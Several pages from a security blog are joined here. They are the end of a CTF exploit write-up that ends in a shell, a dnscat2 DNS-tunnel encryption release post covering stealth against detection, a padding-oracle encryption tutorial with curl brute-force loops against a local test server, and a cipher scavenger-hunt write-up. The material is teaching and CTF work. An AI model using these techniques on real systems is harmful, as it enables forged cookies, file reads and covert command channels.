    |h ii      |
    |hhii     f|
    |hgg     ff|
    |  gg    fd|
    |00bb10000d|
    |0bb0110cdd|
    |00aaee cc |
    |  aaee c  |
    +----------+
    

    Then Z ('j'), thrown away:

    |          |
    |         j|
    |h ii    jj|
    |hhii    jf|
    |hgg     ff|
    |  gg    fd|
    |00bb10000d|
    |0bb0110cdd|
    |00aaee cc |
    |  aaee c  |
    +----------+
    

    Then T ('k'), thrown away:

    |          |
    |        k |
    |        kk|
    |        kj|
    |h ii    jj|
    |hhii    jf|
    |hgg     ff|
    |  gg    fd|
    |00bb10000d|
    |0bb0110cdd|
    |00aaee cc |
    |  aaee c  |
    +----------+
    

    Then J ('m'):

    |          |
    | m      k |
    | m      kk|
    |mm      kj|
    |h ii    jj|
    |hhii    jf|
    |hgg     ff|
    |  gg    fd|
    |00bb10000d|
    |0bb0110cdd|
    |00aaee cc |
    |  aaee c  |
    +----------+
    

    And finally, the L we needed to finish the last part of the puzzle ('o'):

    |          |
    | m      k |
    | m      kk|
    |mm      kj|
    |h ii    jj|
    |hhii    jf|
    |hgg     ff|
    |  ggo   fd|
    |00bbo0000d|
    |0bb0oo0cdd|
    |00aaee cc |
    |  aaee c  |
    +----------+
    

    I literally drew all that on paper, erasing and moving stuff as needed to get the shape right. Once I had the shape, I figured out the inputs that would be required by literally playing:

    • as
    • qaas
    • eddds
    • qdddds
    • ds
    • ddddds
    • qaas
    • eaaaas
    • as
    • ddddds
    • edddds
    • aaaaas
    • eas

    Followed by 's' repeated to drop every piece straight down until the board fills up and the game ends.

    To summarize

    So here is the exploit, in brief!

    Run ./loader in the same folder as genius (or user the Dockerfile).

    Enter code 1, AZZAZT, which changes memset into system

    Enter code 2, SLGOGI, which changes system(board) to system(board+0x15)

    Play the game, and enter the list of inputs shown just above.

    When the game ends, like magic, a shell appears!

    +----------+
    |    *     |
    |   *#*    |
    |   ###    |
    |   ##     |
    |   ##     |
    |    #     |
    |   ##     |
    |   #      |
    |   ####   |
    |     #    |
    |   ###  # |
    |#  #    ##|
    |#####   ##|
    |# ###   ##|
    |####    ##|
    |###     ##|
    |  ###   ##|
    |  ###    #|
    | ## ## ###|
    |  #### ## |
    |  #### #  |
    +----------+
    $ pwd
    /home/ron/projects/ctf-2019/challenges/genius/challenge/src
    $ ls
    blocks.h  genius  genius.c  genius.o  loader  loader.c  loader.o  Makefile
    

    And there you have it!

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### dnscat2: now with crypto! » SkullSecurity


    dnscat2: now with crypto!

    Hey everybody,

    Live from the SANS Pentest Summit, I'm excited to announce the latest beta release of dnscat2: 0.04! Besides some minor cleanups and UI improvements, there is one serious improvement: all dnscat2 sessions are now encrypted by default!

    Read on for some user information, then some implementation details for those who are interested! For all the REALLY gory information, check out the protocol doc!

    Tell me what's new!

    By default, when you start a dnscat2 client, it now performs a key exchange with the server, and uses a derived session key to encrypt all traffic. This has the huge advantage that passive surveillance and IDS and such will no longer be able to see your traffic. But the disadvantage is that it's vulnerable to a man-in-the-middle attack - assuming somebody takes the time and effort to perform a man-in-the-middle attack against dnscat2, which would be awesome but seems unlikely. :)

    By default, all connections are encrypted, and the server will refuse to allow cleartext connections. If you start the server with --security=open (or run set security=open), then the client decides the security level - including cleartext.

    If you pass the server a --secret string (see below), then the server will require clients to authenticate using the same --secret value. That can be turned off by using --security=open or --security=encrypted (or the equivalent set commands).

    Let's look at the man-in-the-middle protection...

    Short authentication strings

    First, by default, a short authentication string is displayed on both the client and the server. Short authentication strings, inspired by ZRTP and Silent Circle, are a visual way to tell if you're the victim of a man-in-the-middle attack.

    Essentially, when a new connection is created, the user has to manually match the short authentication strings on the client and the server. If they're the same, then it's a legit connection. Here's what it looks like on the client:

    Encrypted session established! For added security, please verify the server also displays this string:
    
    Tort Hither Harold Motive Nuns Unwrap
    

    And the server:

    New window created: 1
    Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
    For added security, please ensure the client displays the same string:
    
    >> Tort Hither Harold Motive Nuns Unwrap
    

    There are 256 different possible words, so six words gives 48 bits of protection. While a 48-bit key can eventually be bruteforced, in this case it has to be done in real time, which is exceedingly unlikely.

    Authentication

    Alternatively, a pre-shared secret can be used instead of a short authentication string. When you start the server, you pass in a --secret value, such as --secret=pineapple. Clients with the same secret will create an authenticator string based on the password and the cryptographic keys, and send it to the server, encrypted, after the key exchange. Clients that use the wrong key will be summarily rejected.

    Details on how this is implemented are below.

    How stealthy is it?

    To be perfectly honest: not completely.

    The key exchange is pretty obvious. A 512-bit value has to be sent via DNS, and a 512-bit response has to come back. That's pretty big, and stands out.

    After that, every packet has an unencrypted 40-bit (5-byte) header and an unencrypted 16-bit (2-byte) nonce. The header contains three bytes that don't really change, and the nonce is incremental. Any system that knows to look for dnscat2 will be able to find that.

    It's conceivable that I could make this more stealthy, but anybody who's already trying to detect dnscat2 traffic will be able to update the signatures that they would have had to write anyway, so it becomes a cat-and-mouse game.

    Of course, that doesn't stop people from patching things. :)

    The plus side, however, is that none of your data leaks! And somebody would have to be specifically looking for dnscat2 traffic to recognize it.

    What are the hidden costs?

    Encrypted packets have 64 bits (8 bytes) of extra overhead: a 16-bit (two-byte) nonce and a 48-bit (six-byte) signature on each packet. Since DNS packets have between 200 and 250 bytes of payload space, that means we lose ~4% of our potential bandwidth.

    Additionally, there's a key exchange packet and potentially an authentication packet. That's two extra roundtrips over a fairly slow protocol.

    Other than that, not much changes, really. The encryption/decryption/signing/validation are super fast, and it uses a stream cipher so the length of the messages don't change.

    How do I turn it off?

    The server always supports crypto; if you don't WANT crypto, you'll have to manually hack the server or use a version of dnscat2 server <=0.03. But you'll have to manually turn off encryption in the client; otherwise, the connection fail.

    Speaking of turning off encryption in the client: you can compile without encryption by using make nocrypto. You can also disable encryption at runtime with dnscat2 --no-encryption. On Visual Studio, you'll have to define "NO_ENCRYPTION". Note that the server, by default, won't allow either of those to connect unless you start it with --security=open.

    Give me some technical details!

    Your best bet if you're REALLY curious is to check out the protocol doc, where I document the protocol in full.

    But I'll summarize it here. :)

    The client starts a session by initiating a key exchange with the server. Both sides generate a random, 256-bit private key, then derive a public key using Elliptic Curve Diffie Hellman (ECDH). The client sends the public key to the server, the server sends a public key to the client, and they both agree on a shared secret.

    That shared secret is hashed with a number of different values to derive purpose-specific keys - the client encryption key, the server encryption key, the client signing key, the server signing key, etc.

    Once the keys are agreed upon, all packets are encrypted and signed. The encryption is salsa20 and uses one of the derived keys as well as an incremental nonce. After being encrypted, the encrypted data, the nonce, and the packet header are signed using SHA3, but truncated to 48 bits (6 bytes). 48 bits isn't very long for a signature, but space is at an extreme premium and for most attacks it would have to be broken in real time.

    As an aside: I really wanted to encrypt the header instead of just signing it, but because of protocol limitations, that's simply not possible (because I have no way of knowing which packets belong to which session, the session_id has to be plaintext).

    Immediately after the key exchange, the client optionally sends an authenticator over the encrypted session. The authenticator is based on a pre-shared secret (passed on the commandline) that the client and server pre-arrange in some way. That secret is hashed with both public keys and the secret (derived) key, as well as a different static string on the client and server. The client sends their authenticator to the server, and the server sends their authenticator to the client. In that way, both sides verify each other without revealing anything.

    If the client doesn't send the authenticator, then a short authentication string is generated. It's based on a very similar hash to the authenticator, except without the pre-shared secret. The first 6 bytes are converted into words using a list of 256 English words, and are displayed on the screen. It's up to the user to verify them.

    Because the nonce is only 16 bits, only 65536 roundtrips can be performed before running out. As such, the client may, at its own discretion (but before running out), initiate a new key exchange. It's identical to the original key exchange, except that it happens in a signed and encrypted packet. After the renegotiation is finished, both the client and server switch their nonce values back to 0 and stop accepting packets with the old keys.

    And... that's about it! Keys are exchanged, an authenticator is sent or a short authentication string is displayed, all messages are signed and encrypted, and that's that!

    Challenges

    A few of the challenges I had to work through...

    • Because DNS has no concept of connections/sessions, I had to expose more information that I wanted in the packets (and because it's extremely length-limited, I had to truncate signatures)
    • I had originally planned to use Curve25519 for the key exchange, but there's no Ruby implementation
    • Finding a C implementation of ECC that doesn't require libcrypto or libssl was really hard
    • Finding a working SHA3 implementation in Ruby was impossible! I filed bugs against the three more popular implementations and one of them actually took the time to fix it!
    • Dealing with DNS's gratuitous retransmissions and accidental drops was super painful and required some hackier code than I like to see in crypto (for example, an old key can still be used, even after a key exchange, until the new one is used successfully; the more secure alternative can't handle a dropped response packet, otherwise both peers would have different keys)

    Shouts out

    I just wanted to do a quick shout out to a few friends who really made this happen by giving me advice, encouragement, or just listening to me complaining.

    So, in alphabetical order so nobody can claim I play favourites, I want to give mad propz to:

    • Alex Weber, who notably convinced me to use a proper key exchange protocol instead of just a static key (and who also wrote the Salsa20 implementation I used
    • Brandon Enright, who give me a ton of handy crypto advice
    • Eric Gershman, who convinced me to work on encryption in the first place, and who listened to my constant complaining about how much I hate implementing crypto

    One thought on “dnscat2: now with crypto!

    1. Reply

      techmonkey

      Awesome. Thanks Ron!

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### March » 2015 » SkullSecurity

    dnscat2 beta release!

    As I promised during my 2014 Derbycon talk (amongst other places), this is an initial release of my complete re-write/re-design of the dnscat service / protocol. It's now a standalone tool instead of being bundled with nbtool, among other changes. :) I'd love to have people testing it, and getting feedback is super important to […]

    #####EOF##### February » 2017 » SkullSecurity

    BSidesSF CTF wrap-up

    Welcome! While this is technically a CTF writeup, like I frequently do, this one is going to be a bit backwards: this is for a CTF I ran, instead of one I played! I've gotta say, it's been a little while since I played in a CTF, but I had a really good time running […]

    #####EOF##### Going the other way with padding oracles: Encrypting arbitrary data! » SkullSecurity


    Going the other way with padding oracles: Encrypting arbitrary data!

    A long time ago, I wrote a couple blogs that went into a lot of detail on how to use padding oracle vulnerabilities to decrypt an encrypted string of data. It's pretty important to understand to use a padding oracle vulnerability for decryption before reading this, so I'd suggest going there for a refresher.

    When I wrote that blog and the Poracle tool originally, I didn't actually know how to encrypt arbitrary data using a padding oracle. I was vaguely aware that it was possible, but I hadn't really thought about it. But recently, I decided to figure out how it works. I thought and thought, and finally came up with this technique that seems to work. I also implemented it in Poracle in commit a5cfad76ad.

    Although I technically invented this technique myself, it's undoubtedly the same technique that any other tools / papers use. If there's a better way - especially on dealing with the first block - I'd love to hear it!

    Anyway, in this post, we'll talk about a situation where you have a padding oracle vulnerability, and you want to encrypt arbitrary data instead of decrypting their data. It might, for example, be a cookie that contains a filename for your profile data. If you change the encrypted data in a cookie to an important file on the filesystem, suddenly you have arbitrary file read!

    The math

    If you aren't familiar with block ciphers, how they're padded, how XOR (⊕) works, or how CBC chaining works, please read my previous post. I'm going to assume you're familiar with all of the above!

    We'll define our variables more or less the same as last time:

      Let P   = the plaintext, and Pn = the plaintext of block n (where n is in
                the range of 1..N). We select this.
      Let C   = the corresponding ciphertext, and Cn = the ciphertext
                of block n (the first block being 1) - our goal is to calculate this
      Let N   = the number of blocks (P and C have the same number of blocks by
                definition). PN is the last plaintext block, and CN is
                the last ciphertext block.
      Let IV  = the initialization vector — a random string — frequently
                (incorrectly) set to all zeroes. We'll mostly call this C0 in this
                post for simplicity (see below for an explanation).
      Let E() = a single-block encryption operation (any block encryption
                algorithm, such as AES or DES, it doesn't matter which), with some
                unique and unknown (to the attacker) secret key (that we don't
                notate here).
      Let D() = the corresponding decryption operation.
    

    And the math for encryption:

      C1 = E(P1 ⊕ IV)
      Cn = E(Pn ⊕ Cn-1) — for all n > 1
    

    And, of course, decryption:

      P1 = D(C1) ⊕ IV
      Pn = D(Cn) ⊕ Cn-1 - for all n > 1
    

    Notice that if you define the IV as C0, both formulas could be simplified to just a single line.

    The attack

    Like decryption, we divide the string into blocks, and attack one block at a time.

    We start by taking our desired string, P, and adding the proper padding to it, so when it's decrypted, the padding is correct. If there are n bytes required to pad the string to a multiple of the block length, then the byte n is added n times.

    For example, if the string is hello world! and the blocksize is 16, we have to add 4 bytes, so the string becomes hello world!\x04\x04\x04\x04. If the string is an exact multiple of the block length, we add a block afterwards with nothing but padding (so this is a test!!, because it's 16 bytes, becomes this is a test!!\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10, for example (assume the blocksize is 16, which will will throughout).

    Once we have a string, P, we need to generate the ciphertext, C from it. And here's how that happens...

    Overview

    After writing everything below, I realized that it's a bit hard to follow. Math, etc. So I'm going to start by summarizing the steps before diving more deeply into all the details. Good luck!

    To encrypt arbitrary text with a padding oracle...

    • Select a string, P, that you want to generate ciphertext, C, for
    • Pad the string to be a multiple of the blocksize, using appropriate padding, then split it into blocks numbered from 1 to N
    • Generate a block of random data (CN - ultimately, the final block of ciphertext)
    • For each block of plaintext, starting with the last one...
      • Create a two-block string of ciphertext, C', by combining an empty block (00000...) with the most recently generated ciphertext block (Cn+1) (or the random one if it's the first round)
      • Change the last byte of the empty block until the padding errors go away, then use math (see below for way more detail) to set the last byte to 2 and change the second-last byte till it works. Then change the last two bytes to 3 and figure out the third-last, fourth-last, etc.
      • After determining the full block, XOR it with the plaintext block Pn to create Cn
      • Repeat the above process for each block (prepend an empty block to the new ciphertext block, calculate it, etc)

    To put that in English: each block of ciphertext decrypts to an unknown value, then is XOR'd with the previous block of ciphertext. By carefully selecting the previous block, we can control what the next block decrypts to. Even if the next block decrypts to a bunch of garbage, it's still being XOR'd to a value that we control, and can therefore be set to anything we want.

    A quick note about the IV

    In CBC mode, the IV - initialization vector - sort of acts as a ciphertext block that comes before the first block in terms of XOR'ing. Sort of an elusive "zeroeth" block, it's not actually decrypted; instead, it's XOR'd against the first real block after decrypting to create P1. Because it's used to set P1, it's calculated exactly the same as every other block we're going to talk about, except the final block, CN, which is random.

    If we don't have control of the IV - which is pretty common - then we can't control the first block of plaintext, P1, in any meaningful way. We can still calculate the full plaintext we want, it's just going to have a block of garbage before it.

    Throughout this post, just think of the IV another block of ciphertext; we'll even call it C0 from time to time. C0 is used to generate P1 (and there's no such thing as P0).

    Generate a fake block

    The "last" block of ciphertext, CN, is generated first. Normally you'd just pick a random blocksize-length string and move on. But you can also have some fun with it! The rest of this section is just a little playing, and is totally tangential to the point; feel free to skip to the next section if you just want the meat.

    So yeah, interesting tangential fact: the final ciphertext block, CN can be any arbitrary string of blocksize bytes. All 'A's? No problem. A message to somebody? No problem. By default, Poracle simply randomizes it. I assume other tools do as well. But it's interesting that we can generate arbitrary plaintext!

    Let's have some fun:

    • Algorithm = "AES-256-CBC"
    • Key = c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1
    • IV = 78228d4760a3675aa08d47694f88f639
    • Ciphertext = "IS THIS SECRET??"

    The ciphertext is ASCII!? Is that even possible?? It is! Let's try to decrypt it:

      2.3.0 :001 > require 'openssl'
       => true
    
      2.3.0 :002 > c = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
       => #<OpenSSL::Cipher::Cipher:0x00000001de2578>
    
      2.3.0 :003 > c.decrypt
       => #<OpenSSL::Cipher::Cipher:0x00000001de2578>
    
      2.3.0 :004 > c.key = ['c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1'].pack('H*')
       => "\xC0\x86\xE0\x8A\xD8\xEE\x0E\xBE|# \t\x9C\xFE\xC9\xEE\xA9\xA3F\xA1\bW\nOd\x94\xCF\xE7\xC2\xA3\x0E\xE1" 
    
      2.3.0 :005 > c.iv = ['78228d4760a3675aa08d47694f88f639'].pack('H*')
       => "x\"\x8DG`\xA3gZ\xA0\x8DGiO\x88\xF69" 
    
      2.3.0 :006 > c.update("IS THIS SECRET??") + c.final()
       => "NO, NOT SECRET!" 
    
    

    It's ciphertext that looks like ASCII ("IS THIS SECRET??") that decrypts to more ASCII ("NO, NOT SECRET!"). How's that even work!?

    We'll see shortly why this works, but fundamentally: we can arbitrarily choose the last block (I chose ASCII) for padding-oracle-based encryption. The previous blocks - in this case, the IV - is what we actually have to determine. Change that IV, and this won't work anymore.

    Calculate a block of ciphertext

    Okay, we've created the last block of ciphertext, CN. Now we want to create the second-last block, CN-1. This is where it starts to get complicated. If you can follow this sub-section, everything else is easy! :)

    Let's start by making a new ciphertext string, C'. Just like in decrypting, C' is a custom-generated ciphertext string that we're going to send to the oracle. It's made up of two blocks:

    • C'1 is the block we're trying to determine; we set it to all zeroes for now (though the value doesn't actually matter)
    • C'2 is the previously generated block of ciphertext (on the first round, it's CN, the block we randomly generated; on ensuing rounds, it's Cn+1 - the block after the one we're trying to crack).

    I know that's confusing, but let's push forward and look at how we generate a C' block and it should all become clear.

    Imagine the string:

      C' = 00000000000000000000000000000000 || CN
                    ^^^ CN-1 ^^^               
    

    Keep in mind that CN is randomly chosen. We don't know - and can't know - what C'2 decrypts to, but we'll call it P'2. We do know something, though - after it's decrypted to something, it's XOR'd with the previous block of ciphertext (C'1), which we control. Then the padding's checked. Whether or not the padding is correct or incorrect depends wholly on C'1! That means by carefully adjusting C'1, we can find a string that generates correct padding for P'2.

    Because the only things that influence P'2 are the encryption function, E(), and the previous ciphertext block, C'1, we can set it to anything we want without ever seeing it! And once we find a value for C' that decrypts to the P'2 we want, we have everything we need to create a CN-1 that generates the PN we want!

    So we create a string like this:

      00000000000000000000000000000000 41414141414141414141414141414141
            ^^^ C'1 / CN-1 ^^^                  ^^^ C'2 / CN ^^^
    

    The block of zeroes is the block we're trying to figure out (it's going to be CN-1), and the block of 41's is the block of arbitrary/random data (CN).

    We send that to the server, for example, like this (this is on Poracle's RemoteTestServer.rb app, with a random key and blank IV - you should be able to just download and run the server, though you might have to run gem install sinatra):

    • http://localhost:20222/decrypt/0000000000000000000000000000000041414141414141414141414141414141

    We're almost certainly going to get a padding error returned, just like in decryption (there's a 1/256 chance it's going to be right). So we change the last byte of block C'1 until we stop getting padding errors:

    • http://localhost:20222/decrypt/0000000000000000000000000000000141414141414141414141414141414141
    • http://localhost:20222/decrypt/0000000000000000000000000000000241414141414141414141414141414141
    • http://localhost:20222/decrypt/0000000000000000000000000000000341414141414141414141414141414141
    • http://localhost:20222/decrypt/0000000000000000000000000000000441414141414141414141414141414141
    • ...

    And eventually, you'll get a success:

    $ for i in `seq 0 255`; do
    URL=`printf "http://localhost:20222/decrypt/000000000000000000000000000000%02x41414141414141414141414141414141" $i`
    echo $URL
    curl "$URL"
    echo ''
    done
    
    http://localhost:20222/decrypt/0000000000000000000000000000000041414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000141414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000241414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000341414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000441414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000541414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000641414141414141414141414141414141
    Success!
    http://localhost:20222/decrypt/0000000000000000000000000000000741414141414141414141414141414141
    Fail!
    ...
    

    We actually found the valid encoding really early this time! When C'1 ends with 06, the last byte of P'2, decrypts to 01. That means if we want the last byte of the generated plaintext (P'2) to be 02, we simply have to XOR the value by 01 (to set it to 00), then by 02 (to set it to 02). 06 ⊕ 01 ⊕ 02 = 05. Therefore, if we set the last byte of C'1 to 05, we know that the last byte of P'2 will be 02, and we can start bruteforcing the second-last byte:

    $ for i in `seq 0 255`; do
    URL=`printf "http://localhost:20222/decrypt/0000000000000000000000000000%02x0541414141414141414141414141414141" $i`
    echo $URL
    curl "$URL"
    echo ''
    done
    
    http://localhost:20222/decrypt/0000000000000000000000000000000541414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000010541414141414141414141414141414141
    Fail!
    ...
    http://localhost:20222/decrypt/0000000000000000000000000000350541414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000360541414141414141414141414141414141
    Success!
    ...
    

    So now we know that when C'N-1 ends with 3605, P'2 ends with 0202. We'll go one more step: if we change C'1 such that P'2 ends with 0303, we can start working on the third-last character in C'1. 36 ⊕ 02 ⊕ 03 = 37, and 05 ⊕ 02 ⊕ 03 = 04 (we XOR by 2 to set the values to 0, then by 3 to set it to 3):

    $ for i in `seq 0 255`; do
    URL=`printf "http://localhost:20222/decrypt/00000000000000000000000000%02x370441414141414141414141414141414141" $i`
    echo $URL
    curl "$URL"
    echo ''
    done
    
    ...
    http://localhost:20222/decrypt/000000000000000000000000006b370441414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/000000000000000000000000006c370441414141414141414141414141414141
    Success!
    ...
    

    So now, when C'1 ends with 6c3704, P'2 ends with 030303.

    We can go on and on, but I automated it using Poracle and determined that the final value for C'1 that works is 12435417b15e3d7552810313da7f2417

    $ curl 'http://localhost:20222/decrypt/12435417b15e3d7552810313da7f241741414141414141414141414141414141'
    Success!
    

    That means that when C'1 is 12435417b15e3d7552810313da7f2417, P'2 is 10101010101010101010101010101010 (a full block of padding).

    We can once again use XOR to remove 101010... from C'1, giving us: 02534407a14e2d6542911303ca6f3407. That means that when C'1 equals 02534407a14e2d6542911303ca6f3407), P'2 is 00000000000000000000000000000000. Now we can XOR it with whatever we want to set it to an arbitrary value!

    Let's say we want the last block to decrypt to 0102030405060708090a0b0c0d0e0f (15 bytes). We:

    • Add one byte of padding: 0102030405060708090a0b0c0d0e0f01
    • XOR C'1 (02534407a14e2d6542911303ca6f3407) with 0102030405060708090a0b0c0d0e0f01 => 03514703a4482a6d4b9b180fc7613b06
    • Append the final block, CN, to create C: 03514703a4482a6d4b9b180fc7613b0641414141414141414141414141414141
    • Send it to the server to be decrypted...
    $ curl 'http://localhost:20222/decrypt/03514703a4482a6d4b9b180fc7613b0641414141414141414141414141414141'
    Success
    

    And, if you actually calculate it with the key I'm using, the final plaintext string P' is c49f1fdcd1cd93daf4e79a18637c98d80102030405060708090a0b0c0d0e0f.

    (The block of garbage is a result of being unable to control the IV)

    Calculating the next block of ciphertext

    So now, where have we gotten ourselves?

    We have values for CN-1 (calculated) and CN (arbitrarily chosen). How do we calculate CN-2?

    This is actually pretty easy. We generate ourselves a two-block string again, C'. Once again, C'1 is what we're trying to bruteforce, and is normally set to all 00's. But this time, C'2 is CN-1 - the ciphertext we just generated.

    Let's take a new C' of:

    000000000000000000000000000000000 3514703a4482a6d4b9b180fc7613b06
            ^^^ C'1 / CN-2 ^^^                 ^^^ C'2 / CN-1 ^^^
    

    We can once again determine the last byte of C'1 that will cause the last character of P'2 to be valid padding (01):

    $ for i in `seq 0 255`; do
    URL=`printf "http://localhost:20222/decrypt/000000000000000000000000000000%02x3514703a4482a6d4b9b180fc7613b06" $i`
    echo $URL
    curl "$URL"
    echo ''
    done
    ...
    http://localhost:20222/decrypt/000000000000000000000000000000313514703a4482a6d4b9b180fc7613b06
    Fail!
    http://localhost:20222/decrypt/000000000000000000000000000000323514703a4482a6d4b9b180fc7613b06
    Fail!
    http://localhost:20222/decrypt/000000000000000000000000000000333514703a4482a6d4b9b180fc7613b06
    Success!
    ...
    

    ...and so on, just like before. When this block is done, move on to the previous, and previous, and so on, till you get to the first block of P. By then, you've determined all the values for C1 up to CN-1, and you have your specially generated CN with whatever value you want. Thus, you have the whole string!

    So to put it in another way, we calculate:

    • CN = random / arbitrary
    • CN-1 = calculated from CN combined with PN
    • CN-2 = calculated from CN-1 combined with PN-1
    • CN-3 = calculated from CN-2 combined with PN-2
    • ...
    • C1 = calculated from C2 combined with P2
    • C0 (the IV) = calculated from C1 combined with P1

    So as you can see, each block is based on the next ciphertext block and the next plaintext block.

    Conclusion

    Well, that's about all I can say about using a padding oracle vulnerability to encrypt arbitrary data.

    If anything is unclear, please let me know! And, you can see a working implementation in Poracle.rb.

    2 thoughts on “Going the other way with padding oracles: Encrypting arbitrary data!

    1. Reply

      Tim Smith

      Interesting article, thanks for making it.

      One thing was a little unclear:
      "Change the last byte of the empty block until the padding errors go away, then change the second last byte, third last, etc."
      So I thought "What? The second byte is already correct, I can't make errors go away by changing it".
      I worked it out (because I'd read "Padding oracle attacks: in depth"), and you explained it in full later, but as an overview that statement briefly added to my confusion.

      Keep up the good work.

      Oh, and in case someone else is reading this and thinking "yes, but what's the answer" - the implicit step is "..., update the last byte to yield a 2 instead of a 1, then change the second last byte..."

      1. Reply

        Ron Bowes Post author

        @Tim

        You're right, I could have gone into more detail there. I cover it more in-depth below, that section is just a quick summary. I'm going to update the language a bit to make it more clear what's happening, thanks for the feedback! :)

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### Crypto » SkullSecurity

    In BSidesSF CTF, calc.exe exploits you! (Author writeup of launchcode)

    Hey everybody, In addition to genius, whose writeup I already posted, my other favourite challenge I wrote for BSidesSF CTF was called launchcode. This will be my third and final writeup for BSidesSF CTF for 2019, but you can see all the challenges and solutions on our Github releases page. This post will be more […]

    Going the other way with padding oracles: Encrypting arbitrary data!

    A long time ago, I wrote a couple blogs that went into a lot of detail on how to use padding oracle vulnerabilities to decrypt an encrypted string of data. It's pretty important to understand to use a padding oracle vulnerability for decryption before reading this, so I'd suggest going there for a refresher. When […]

    GitS 2015: knockers.py (hash extension vulnerability)

    As many of you know, last weekend was Ghost in the Shellcode 2015! There were plenty of fun challenges, and as always I had a great time competing! This will be my first of four writeups, and will be pretty simple (since it simply required me to use a tool that already exists (and that […]

    A padding oracle example

    Early last week, I posted a blog about padding oracle attacks. I explained them in detail, as simply as I could (without making diagrams, I suck at diagrams). I asked on Reddit about how I could make it easier to understand, and JoseJimeniz suggested working through an example. I thought that was a neat idea, […]

    Padding oracle attacks: in depth

    This post is about padding oracle vulnerabilities and the tool for attacking them - "Poracle" I'm officially releasing right now. You can grab the Poracle tool on Github! At my previous job — Tenable Network Security — one of the first tasks I ever had was to write a vulnerability check for MS10-070 — a […]

    Everything you need to know about hash length extension attacks

    You can grab the hash_extender tool on Github! (Administrative note: I'm no longer at Tenable! I left on good terms, and now I'm a consultant at Leviathan Security Group. Feel free to contact me if you need more information!) Awhile back, my friend @mogigoma and I were doing a capture-the-flag contest at https://stripe-ctf.com. One of […]

    #####EOF##### SANS Hackfest writeup: Hackers of Gravity » SkullSecurity


    SANS Hackfest writeup: Hackers of Gravity

    Last weekA few weeks ago, SANS hosted a private event at the Smithsonian's Air and Space Museum as part of SANS Hackfest. An evening in the Air and Space Museum just for us! And to sweeten the deal, they set up a scavenger hunt called "Hackers of Gravity" to work on while we were there!

    We worked in small teams (I teamed up with Eric, who's also writing this blog with me). All they told us in advance was to bring a phone, so every part of this was solved with our phones and Google.

    Each level began with an image, typically with a cipher embedded in it. After decoding the cipher, the solution and the image itself were used together to track down a related artifact.

    This is a writeup of that scavenger hunt. :)

    Challenge 1: Hacker of Tenacity

    The order of the challenges was actually randomized, so this may not be the order that anybody else had (homework: there are 5040 possible orderings of challenges, and about 100 people attending; what are the odds that two people had the same order? The birthday paradox applies).

    The first challenge was simply text:

    Sometimes tenacity is enough to get through a difficult challenge. This Hacker of Gravity never gave up and even purposefully created discomfort to survive their challenge against gravity. Do you possess the tenacity to break this message? 
    
    T05ZR1M0VEpPUlBXNlpTN081VVdHMjNGT0pQWEdaTEJPUlpRPT09PQ==
    

    Based on the character set, we immediately recognized it as Base64. We found an online decoder and it decoded to:

    ONYGS4TJORPW6ZS7O5UWG23FOJPXGZLBORZQ====

    
    We recognized that as Base32 - Base64 will never have four "====" signs at the end, and Base32 typically only contains uppercase characters and numbers. (Quick plug: I'm currently working on Base32 support for dnscat2, which is another reason I quickly recognized it!)

    Anyway, the Base32 version decoded to spirit_of_wicker_seats, and Eric recognized "Spirit" as a possible clue and searched for "Spirit of St Louis Wicker Seats", which revealed the following quote from the Wikipedia article on the Spirit of St. Louis: "The stiff wicker seat in the cockpit was also purposely uncomfortable".

    The Spirit of St. Louis was one of the first planes we spotted, so we scanned the QR code and found the solution: lots_of_fuel_tanks!

    Challenge 2: Hacker of Navigation

    We actually got stuck on the second challenge for awhile, but eventually we got an idea of how these challenges tend to work, after which we came back to it.

    We were given a fragment of a letter:

    The museum archives have located part of a letter in an old storage locker from some previously lost collection. They'd REALLY like your help finding the author.

    You'll note at the bottom-left corner it implies that "A = 50 degrees". We didn't notice that initially. :)

    What we did notice was that the degrees were all a) multiples of 10, and b) below 260. That led us to believe that they were numbered letters, times ten (so A = 10, B = 20, C = 30, etc).

    The numbers were: 100 50 80 90 80 100 50 230 120 130 190 180 130 230 240 50.

    Dividing by 10 gives 10 5 8 9 8 10 5 23 12 13 19 18 13 23 24 5.

    Converting that to the corresponding letters gave us JEHIH JEWLMSRMWXE. Clearly not an English sentence, but it looks like a cryptogram (JEHIH looks like "THERE" or "WHERE").

    That's when we noticed the "A = 50" in the corner, and realized that things were probably shifted by 5. Instead of manually converting it, we found a shift cipher bruteforcer that we could use. The result was: FADED FASHIONISTA

    Searching for "Faded Fashionista Air and Space" led us to this Smithsonian Article: Amelia Earhart, Fashionista. Neither of us knew where her exhibit was, but eventually we tracked it down on the map and walked around it until we found her Lockheed Vega, the QR code scanned to amelias_vega.

    Challenge 3: Hacker of Speed

    This was an image of some folks ready to board a plane or something:

    This super top secret photo has been censored. The security guys looked at this SO fast, maybe they missed something?

    Because of the hint, we started looking for mistakes in the censoring and noticed that they're wearing boots that say "X-15":

    We found pictures of the X-15 page on the museum's Web site and remembered seeing the plane on the 2nd floor. We reached the artifact and determined that the QR code read faster_than_superman.

    Once we got to the artifact, we noticed that we hadn't broken the code yet. Looking carefully at the image, we saw the text at the bottom, nbdi_tjy_qpjou_tfwfo_uxp.

    As an avid cryptogrammer, I recognized tfwfo as likely being "never". Since 'e' is one character before 'f', it seemed likely that it was a single shift ('b'->'a', 'c'->'b', etc). I mentally shifted the first couple letters of the sentence, and it looked right, so I did the entire string while Eric wrote it down: mach_six_point_seven_two.

